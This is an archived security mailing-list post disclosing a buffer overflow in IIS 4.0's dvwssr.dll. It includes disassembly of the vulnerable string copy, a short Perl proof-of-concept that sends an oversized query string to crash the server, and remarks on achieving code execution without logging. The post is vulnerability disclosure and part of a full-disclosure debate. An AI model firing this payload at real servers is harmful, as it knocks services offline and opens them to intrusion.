DVWSSR.dll Buffer Overflow Vulnerability in Microsoft IIS 4.0 Web Servers

[core.lists.bugtraq () CORE-SDI COM (Gerardo Richarte)]

Russ wrote (in ntbugtraq):

> Ok, here's a breaking update.
>
> Latest reports say that there is
>
> NO VULNERABILITY IN DVWSSR.DLL
>
> Yup, that's right, different again from what I said earlier, and even more
> different than what I said yesterday to WSJ.

  That is not correct.

We have been playing with dvwssr.dll and we've found a buffer overflow that stops the server from incoming connections, 
at least.

The code where the buffer overflow resides is:

 mov     eax, [edi+TEXTENSION_CONTROL_BLOCK.lpszQueryString]
 test    eax, eax
 jz      _text_581813FD
 push    eax
 lea     eax, [esp+14h+queryStringCoph]
 push    eax
 call    ds:lstrcpyA           ;see here MS ENGINEERS:  BUFFER OVERFLOW
 test    eax, eax
 jz      _text_581813FD
 lea     eax, [esp+10h+queryStringCoph]
 push    eax
 call    unescape_url

So, below is an example of how to exploit this vulnerability:
Of course, having the source code makes it harder to find
 this types of bugs...

#!/usr/bin/perl
print "GET /_vti_bin/_vti_aut/dvwssr.dll?";
print "a" x 5000;
print " HTTP/1.1\nHost: yourhost\n\n";

    We've been playing a little more  trying to exploit this buffer overflow, and as we don't
have InterDevs installed on our IIS, we copied the .dll to /msadc directory, and with
this configuration, we have been able to make the code jump to our buffer.
Under this circunstances, the actual BO allow to execute arbitrary code in the target machine.
It's interesting to note that no log is generated as efect of this attack.

> MS have had people working on this thing like madmen, trying to verify the
> claims and investigate all of the possible pieces of code that may be
> affected. As that research progressed, different observations were made and
> so the story came out in various stages (with varying levels of
> "correctness"). Had they been given a reasonable amount of time to respond,
> nobody would have been in a tizzy about anything (i.e. the press would not
> have cared to run this story anywhere).
>
> Decide for yourself whether we were better served by (more) immediate
> disclosure or not. I've stood where I stand for a reason, despite the
> loathing of others for my stance...

well, aparently full disclosure does serve a purpose, we only started looking at
the DLL AFTER the post to ntbugtraq, if that didnt happend we wouldnt direct
our attention to that particular DLL.
 In your own word "decide for yourself whether...."

    richie & beto for Core SDI

--
A390 1BBA 2C58 D679 5A71 - 86F9 404F 4B53 3944 C2D0
Investigacion y Desarrollo - CoreLabs - Core SDI
http://www.core-sdi.com

--- For a personal reply use gera () core-sdi com